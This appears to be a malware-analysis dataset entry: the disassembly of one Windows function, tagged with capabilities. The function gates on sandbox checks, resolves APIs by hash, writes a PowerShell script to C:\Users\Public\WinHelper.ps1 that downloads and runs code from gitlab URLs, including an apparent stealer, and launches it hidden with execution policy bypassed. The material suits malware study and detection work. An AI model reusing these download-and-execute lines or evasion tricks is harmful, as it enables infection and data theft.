Function at 0x140001010
Capabilities:
Contain obfuscated stackstrings
Resolve function by djb2 hash
Run powershell expression

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x578
mov rax, qword [0x140016040]
xor rax, rsp
mov qword [rsp + 0x560], rax
lea rcx, [rsp + 0x220]
call fcn.140003920
lea rcx, [rsp + 0x220]
call fcn.14000bd80
nop
mov qword [rsp + 0x208], 0x19000000
mov ecx, 0x19000000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x210], rax
movzx eax, byte [0x140016004]
movsx eax, al
mov dword [rsp + 0x194], eax
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0x194]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
call fcn.1400022d0
movsx eax, al
imul eax, eax, 5
mov dword [rsp + 0x60], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0x60]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x64]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140001299
movsd xmm0, qword [0x140011618]
call fcn.140002320
mov dword [rsp + 0x74], eax
movzx ecx, byte [0x140016004]
movsx ecx, cl
mov dword [rsp + 0x68], ecx
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70], eax
call fcn.1400022d0
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x6c], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0x6c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x70]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0x74]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x140001299
xor eax, eax
cmp eax, 1
je 0x140001299
movzx eax, byte [0x140016004]
movsx eax, al
mov dword [rsp + 0x78], eax
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0x78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80], eax
call fcn.1400022d0
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x7c], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0x7c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x80]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140001299
movsd xmm0, qword [0x140011618]
call fcn.140002320
mov dword [rsp + 0x90], eax
movzx ecx, byte [0x140016004]
movsx ecx, cl
mov dword [rsp + 0x84], ecx
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0x84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c], eax
call fcn.1400022d0
movsx eax, al
mov dword [rsp + 0x88], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0x88]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x8c]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0x90]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x140001299
xor eax, eax
cmp eax, 2
je 0x140001299
lea rcx, str.True
call fcn.14000e230
nop
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x1b4], 0x29a65678
mov dword [rsp + 0xdc], 0x8308eff6
mov dword [rsp + 0xe0], 0xe4b211f0
mov dword [rsp + 0xe4], 0xe19e5fe
mov dword [rsp + 0x94], 0xe6a24847
mov dword [rsp + 0x1b0], 0x40d0207f
mov edx, dword [rsp + 0x94]
mov rcx, qword [rsp + 0x58]
call fcn.140002550
mov qword [rsp + 0x1b8], rax
movzx eax, byte [0x140016004]
movsx eax, al
mov dword [rsp + 0x98], eax
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0x98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0], eax
call fcn.1400022d0
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x9c], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0x9c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa0]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14000163d
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
call qword [0x140010458]
cdqe
cvtsi2sd xmm0, rax
call fcn.140002320
mov dword [rsp + 0xb0], eax
movzx ecx, byte [0x140016004]
movsx ecx, cl
mov dword [rsp + 0xa4], ecx
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0xa4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac], eax
call fcn.1400022d0
movsx eax, al
shl eax, 3
mov dword [rsp + 0xa8], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0xa8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xac]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0xb0]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x14000163d
xor eax, eax
cmp eax, 3
je 0x14000163d
call fcn.140002e50
nop
movzx eax, byte [0x140016004]
movsx eax, al
mov dword [rsp + 0xb4], eax
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0xb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc], eax
call fcn.1400022d0
movsx eax, al
shl eax, 3
mov dword [rsp + 0xb8], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0xb8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xbc]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140001575
movsd xmm0, qword [0x140011618]
call fcn.140002320
mov dword [rsp + 0xcc], eax
movzx ecx, byte [0x140016004]
movsx ecx, cl
mov dword [rsp + 0xc0], ecx
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0xc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc8], eax
call fcn.1400022d0
movsx eax, al
imul eax, eax, 9
mov dword [rsp + 0xc4], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0xc4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xc8]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0xcc]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x140001575
xor eax, eax
cmp eax, 4
je 0x140001575
call fcn.140003180
nop
mov dword [rsp + 0x30], 0
jmp 0x140001589
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
movzx eax, byte [0x140016004]
movsx eax, al
mov dword [rsp + 0xd0], eax
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0xd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd8], eax
call fcn.1400022d0
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xd4], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0xd4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xd8]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.140002320
cmp dword [rsp + 0x30], eax
jge 0x14000163d
mov dword [rsp + 0x34], 0
jmp 0x140001625
cmp dword [rsp + 0x34], 0x13
jae 0x140001638
mov eax, 1
jmp 0x140002291
jmp 0x14000157f
mov edx, dword [rsp + 0xdc]
mov rcx, qword [rsp + 0x58]
call fcn.140002550
mov qword [rsp + 0x1c8], rax
mov edx, dword [rsp + 0xe0]
mov rcx, qword [rsp + 0x58]
call fcn.140002550
mov qword [rsp + 0x1d8], rax
mov edx, dword [rsp + 0xe4]
mov rcx, qword [rsp + 0x58]
call fcn.140002550
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x1d0], rax
lea rcx, [rsp + 0x3e0]
mov rax, qword [rsp + 0x1d0]
call qword [0x140010458]
mov eax, dword [rsp + 0x400]
mov dword [rsp + 0xf4], eax
movzx eax, byte [0x140016004]
movsx eax, al
mov dword [rsp + 0xe8], eax
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0xe8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf0], eax
call fcn.1400022d0
movsx eax, al
imul eax, eax, 5
mov dword [rsp + 0xec], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0xec]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xf0]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x1400018d1
cmp dword [rsp + 0xf4], 2
jae 0x140001752
mov qword [rsp + 0x198], 1
jmp 0x14000175e
mov qword [rsp + 0x198], 0
cvtsi2sd xmm0, qword [rsp + 0x198]
call fcn.140002320
mov dword [rsp + 0x104], eax
movzx ecx, byte [0x140016004]
movsx ecx, cl
mov dword [rsp + 0xf8], ecx
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0xf8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x100], eax
call fcn.1400022d0
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xfc], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0xfc]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x100]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0x104]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x1400018d1
xor eax, eax
cmp eax, 1
je 0x1400018d1
mov dword [rsp + 0x38], 0
jmp 0x14000181d
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
movzx eax, byte [0x140016004]
movsx eax, al
mov dword [rsp + 0x108], eax
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0x108]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x110], eax
call fcn.1400022d0
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x10c], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0x10c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x110]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.140002320
cmp dword [rsp + 0x38], eax
jge 0x1400018d1
mov dword [rsp + 0x3c], 0
jmp 0x1400018b9
cmp dword [rsp + 0x3c], 0x24
jae 0x1400018cc
mov eax, 1
jmp 0x140002291
jmp 0x140001813
mov dword [rsp + 0x3a0], 0x40
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1e0], rax
lea rcx, [rsp + 0x3a0]
mov rax, qword [rsp + 0x1e0]
call qword [0x140010458]
xor edx, edx
mov rax, qword [rsp + 0x3a8]
mov ecx, 0x400
div rcx
xor edx, edx
mov ecx, 0x400
div rcx
mov dword [rsp + 0x120], eax
movzx eax, byte [0x140016004]
movsx eax, al
mov dword [rsp + 0x114], eax
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0x114]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x11c], eax
call fcn.1400022d0
movsx eax, al
shl eax, 1
mov dword [rsp + 0x118], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0x118]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x11c]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140001b3c
cmp dword [rsp + 0x120], 0x800
jae 0x1400019bd
mov qword [rsp + 0x1a0], 1
jmp 0x1400019c9
mov qword [rsp + 0x1a0], 0
cvtsi2sd xmm0, qword [rsp + 0x1a0]
call fcn.140002320
mov dword [rsp + 0x130], eax
movzx ecx, byte [0x140016004]
movsx ecx, cl
mov dword [rsp + 0x124], ecx
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0x124]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x12c], eax
call fcn.1400022d0
movsx eax, al
imul eax, eax, 3
mov dword [rsp + 0x128], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0x128]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x12c]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0x130]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x140001b3c
xor eax, eax
cmp eax, 8
je 0x140001b3c
mov dword [rsp + 0x40], 0
jmp 0x140001a88
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
movzx eax, byte [0x140016004]
movsx eax, al
mov dword [rsp + 0x134], eax
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0x134]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13c], eax
call fcn.1400022d0
movsx eax, al
shl eax, 2
mov dword [rsp + 0x138], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0x138]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x13c]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.140002320
cmp dword [rsp + 0x40], eax
jge 0x140001b3c
mov dword [rsp + 0x44], 0
jmp 0x140001b24
cmp dword [rsp + 0x44], 0x35
jae 0x140001b37
mov eax, 1
jmp 0x140002291
jmp 0x140001a7e
mov ecx, 0x10
call fcn.140003360
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x1e8], rax
mov ecx, 0x7d0
mov rax, qword [rsp + 0x1e8]
call qword [0x140010458]
lea rax, [rsp + 0x460]
lea rcx, str._urlhttps:__gitlab.com_akedi_xmeta___raw_main_xwo.loadpy__url2https:__gitlab.com_akedi_xmeta___raw_main_stealobfpy__tex20___New_Object__TypeName_System.Net.WeBClient_.DoWnLoAdString_https:__gitlab.com_akedi_depvol___raw_main_2.ps1___iEx__tex20
mov rdi, rax
mov rsi, rcx
mov ecx, 0xfd
rep movsb byte [rdi], byte [rsi]
mov edx, 0x29a65678
mov rcx, qword [rsp + 0x58]
call fcn.140002550
mov qword [rsp + 0x1f0], rax
movzx eax, byte [0x140016004]
movsx eax, al
mov dword [rsp + 0x140], eax
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0x140]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x148], eax
call fcn.1400022d0
movsx eax, al
imul eax, eax, 9
mov dword [rsp + 0x144], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0x144]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x148]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140001f7b
movsd xmm0, qword [0x140011618]
call fcn.140002320
mov dword [rsp + 0x158], eax
movzx ecx, byte [0x140016004]
movsx ecx, cl
mov dword [rsp + 0x14c], ecx
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0x14c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x154], eax
call fcn.1400022d0
movsx eax, al
shl eax, 2
mov dword [rsp + 0x150], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0x150]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x154]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0x158]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x140001f7b
xor eax, eax
cmp eax, 5
je 0x140001f7b
mov edx, 0x108
lea rcx, [rsp + 0x290]
call fcn.14000cc50
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.C:UsersPublicWinHelper.ps1
lea rcx, [rsp + 0x290]
call fcn.14000b440
nop
movzx eax, byte [0x140016004]
movsx eax, al
mov dword [rsp + 0x15c], eax
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0x15c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x164], eax
call fcn.1400022d0
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x160], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0x160]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x164]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140001f44
mov rax, qword [rsp + 0x290]
movsxd rax, dword [rax + 4]
lea rax, [rsp + rax + 0x290]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
movzx eax, al
cvtsi2sd xmm0, rax
call fcn.140002320
mov dword [rsp + 0x174], eax
movzx ecx, byte [0x140016004]
movsx ecx, cl
mov dword [rsp + 0x168], ecx
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0x168]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x170], eax
call fcn.1400022d0
movsx eax, al
mov dword [rsp + 0x16c], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0x16c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x170]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0x174]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x140001f44
xor eax, eax
cmp eax, 6
je 0x140001f44
lea rdx, str.WTF__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000a650
lea rdx, [0x14000b120]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov dword [rsp + 0x48], 0
jmp 0x140001e77
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
movzx eax, byte [0x140016004]
movsx eax, al
mov dword [rsp + 0x178], eax
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0x178]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x180], eax
call fcn.1400022d0
movsx eax, al
shl eax, 1
mov dword [rsp + 0x17c], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0x17c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x180]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.140002320
cmp dword [rsp + 0x48], eax
jge 0x140001f44
mov dword [rsp + 0x4c], 0
jmp 0x140001f12
cmp dword [rsp + 0x4c], 0x3d
jae 0x140001f3f
mov dword [rsp + 0x184], 1
lea rcx, [rsp + 0x290]
call fcn.14000bf40
mov eax, dword [rsp + 0x184]
jmp 0x140002291
jmp 0x140001e6d
mov r8d, 0xfc
lea rdx, [rsp + 0x460]
lea rcx, [rsp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x290]
call fcn.14000cd50
lea rcx, [rsp + 0x290]
call fcn.14000bf40
nop
mov byte [rsp + 0x410], 0x70
mov byte [rsp + 0x411], 0x6f
mov byte [rsp + 0x412], 0x77
mov byte [rsp + 0x413], 0x65
mov byte [rsp + 0x414], 0x72
mov byte [rsp + 0x415], 0x73
mov byte [rsp + 0x416], 0x68
mov byte [rsp + 0x417], 0x65
mov byte [rsp + 0x418], 0x6c
mov byte [rsp + 0x419], 0x6c
mov byte [rsp + 0x41a], 0x20
mov byte [rsp + 0x41b], 0x2d
mov byte [rsp + 0x41c], 0x65
mov byte [rsp + 0x41d], 0x70
mov byte [rsp + 0x41e], 0x20
mov byte [rsp + 0x41f], 0x62
mov byte [rsp + 0x420], 0x79
mov byte [rsp + 0x421], 0x70
mov byte [rsp + 0x422], 0x61
mov byte [rsp + 0x423], 0x73
mov byte [rsp + 0x424], 0x73
mov byte [rsp + 0x425], 0x20
mov byte [rsp + 0x426], 0x2d
mov byte [rsp + 0x427], 0x77
mov byte [rsp + 0x428], 0x20
mov byte [rsp + 0x429], 0x68
mov byte [rsp + 0x42a], 0x69
mov byte [rsp + 0x42b], 0x64
mov byte [rsp + 0x42c], 0x64
mov byte [rsp + 0x42d], 0x65
mov byte [rsp + 0x42e], 0x6e
mov byte [rsp + 0x42f], 0x20
mov byte [rsp + 0x430], 0x2d
mov byte [rsp + 0x431], 0x66
mov byte [rsp + 0x432], 0x20
mov byte [rsp + 0x433], 0x43
mov byte [rsp + 0x434], 0x3a
mov byte [rsp + 0x435], 0x5c
mov byte [rsp + 0x436], 0x55
mov byte [rsp + 0x437], 0x73
mov byte [rsp + 0x438], 0x65
mov byte [rsp + 0x439], 0x72
mov byte [rsp + 0x43a], 0x73
mov byte [rsp + 0x43b], 0x5c
mov byte [rsp + 0x43c], 0x50
mov byte [rsp + 0x43d], 0x75
mov byte [rsp + 0x43e], 0x62
mov byte [rsp + 0x43f], 0x6c
mov byte [rsp + 0x440], 0x69
mov byte [rsp + 0x441], 0x63
mov byte [rsp + 0x442], 0x5c
mov byte [rsp + 0x443], 0x57
mov byte [rsp + 0x444], 0x69
mov byte [rsp + 0x445], 0x6e
mov byte [rsp + 0x446], 0x48
mov byte [rsp + 0x447], 0x65
mov byte [rsp + 0x448], 0x6c
mov byte [rsp + 0x449], 0x70
mov byte [rsp + 0x44a], 0x65
mov byte [rsp + 0x44b], 0x72
mov byte [rsp + 0x44c], 0x2e
mov byte [rsp + 0x44d], 0x70
mov byte [rsp + 0x44e], 0x73
mov byte [rsp + 0x44f], 0x31
mov byte [rsp + 0x450], 0
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x1f8], rax
xor edx, edx
lea rcx, [rsp + 0x410]
mov rax, qword [rsp + 0x1f8]
call qword [0x140010458]
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x200], rax
mov ecx, 0x7d0
mov rax, qword [rsp + 0x200]
call qword [0x140010458]
nop
mov dword [rsp + 0x50], 0
jmp 0x1400021e3
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
movzx eax, byte [0x140016004]
movsx eax, al
mov dword [rsp + 0x188], eax
call fcn.140002300
movsx eax, al
mov ecx, dword [rsp + 0x188]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x190], eax
call fcn.1400022d0
movsx eax, al
shl eax, 3
mov dword [rsp + 0x18c], eax
call fcn.1400022c0
movsx eax, al
mov ecx, dword [rsp + 0x18c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x190]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140016003]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [section..data]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.140002320
cmp dword [rsp + 0x50], eax
jge 0x140002291
mov dword [rsp + 0x54], 0
jmp 0x14000227f
cmp dword [rsp + 0x54], 0x57
jae 0x14000228c
xor eax, eax
jmp 0x140002291
jmp 0x1400021d9
mov rcx, qword [rsp + 0x560]
xor rcx, rsp
call fcn.14000e480
add rsp, 0x578
pop rdi
pop rsi
ret